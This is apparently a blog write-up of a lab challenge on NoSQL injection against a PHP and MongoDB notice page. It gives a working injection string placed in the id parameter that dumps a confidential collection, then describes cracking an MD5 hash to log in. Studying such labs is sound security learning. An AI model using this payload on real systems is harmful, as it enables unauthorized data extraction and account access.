当前位置:网站首页>Mexican SQL manual injection vulnerability test (mongodb database) problem solution
Mexican SQL manual injection vulnerability test (mongodb database) problem solution
2022-07-06 09:55:00 【zr1213159840】
The environment of the topic is Nginx+PHP+MongoDB. And the following code is given
In terms of the investigation knowledge points of the topic , That's it MD5 value .
First, let's open the link , Discovery is the user login interface ( If not, please wait a moment ), Then as usual , Click on the notice , Find out id Information about
Let's read the code , stay query This part , hold id After inserting , Directly returned the queried data.
User entered id The value of is directly inserted into the database without any escape , In this place, we can id The value of is
1'});
In this way, the query statement becomes
db.notice.find({
'id':'1'})'})
You can see that the back part is filtered , Then if it is modified to the following part
id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2: 1
The assembled statement is
db.notice.find({
'id':'1'}); return ({
title:tojson(db.Authority_confidential.find()[1]),2: 1'})
find The function finds all the data ,tojson Yes convert to json Format , So we can find out all Authority_confidential Data in the library , The effect is as follows
Take a look md5 value , Then log in , Get key
边栏推荐
猜你喜欢
Nc17 longest palindrome substring
听哥一句劝,按这套嵌入式的课程内容和课程体系去学习
If a university wants to choose to study automation, what books can it read in advance?
Compilation of libwebsocket
Several silly built-in functions about relative path / absolute path operation in CAPL script
嵌入式开发比单片机要难很多?谈谈单片机和嵌入式开发设计经历
MapReduce instance (VII): single table join
《ASP.NET Core 6框架揭秘》样章发布[200页/5章]
大学C语言入门到底怎么学才可以走捷径
max-flow min-cut
随机推荐
美疾控中心:美国李斯特菌疫情暴发与冰激凌产品有关
Function description of shell command parser
Hero League rotation chart manual rotation
嵌入式中的合作开发--函数指针
Constants and pointers
A wave of open source notebooks is coming
May brush question 27 - figure
There are software load balancing and hardware load balancing. Which one to choose?
大学C语言入门到底怎么学才可以走捷径
Tianmu MVC audit II
Contrôle de l'exécution du module d'essai par panneau dans Canoe (primaire)
tn-c为何不可用2p断路器?
五月刷题03——排序
Why is 51+ assembly in college SCM class? Why not come directly to STM32
[deep learning] semantic segmentation: paper reading: (CVPR 2022) mpvit (cnn+transformer): multipath visual transformer for dense prediction
【深度學習】語義分割-源代碼匯總
Vh6501 Learning Series
MapReduce instance (IX): reduce end join
Selection of software load balancing and hardware load balancing
Libuv thread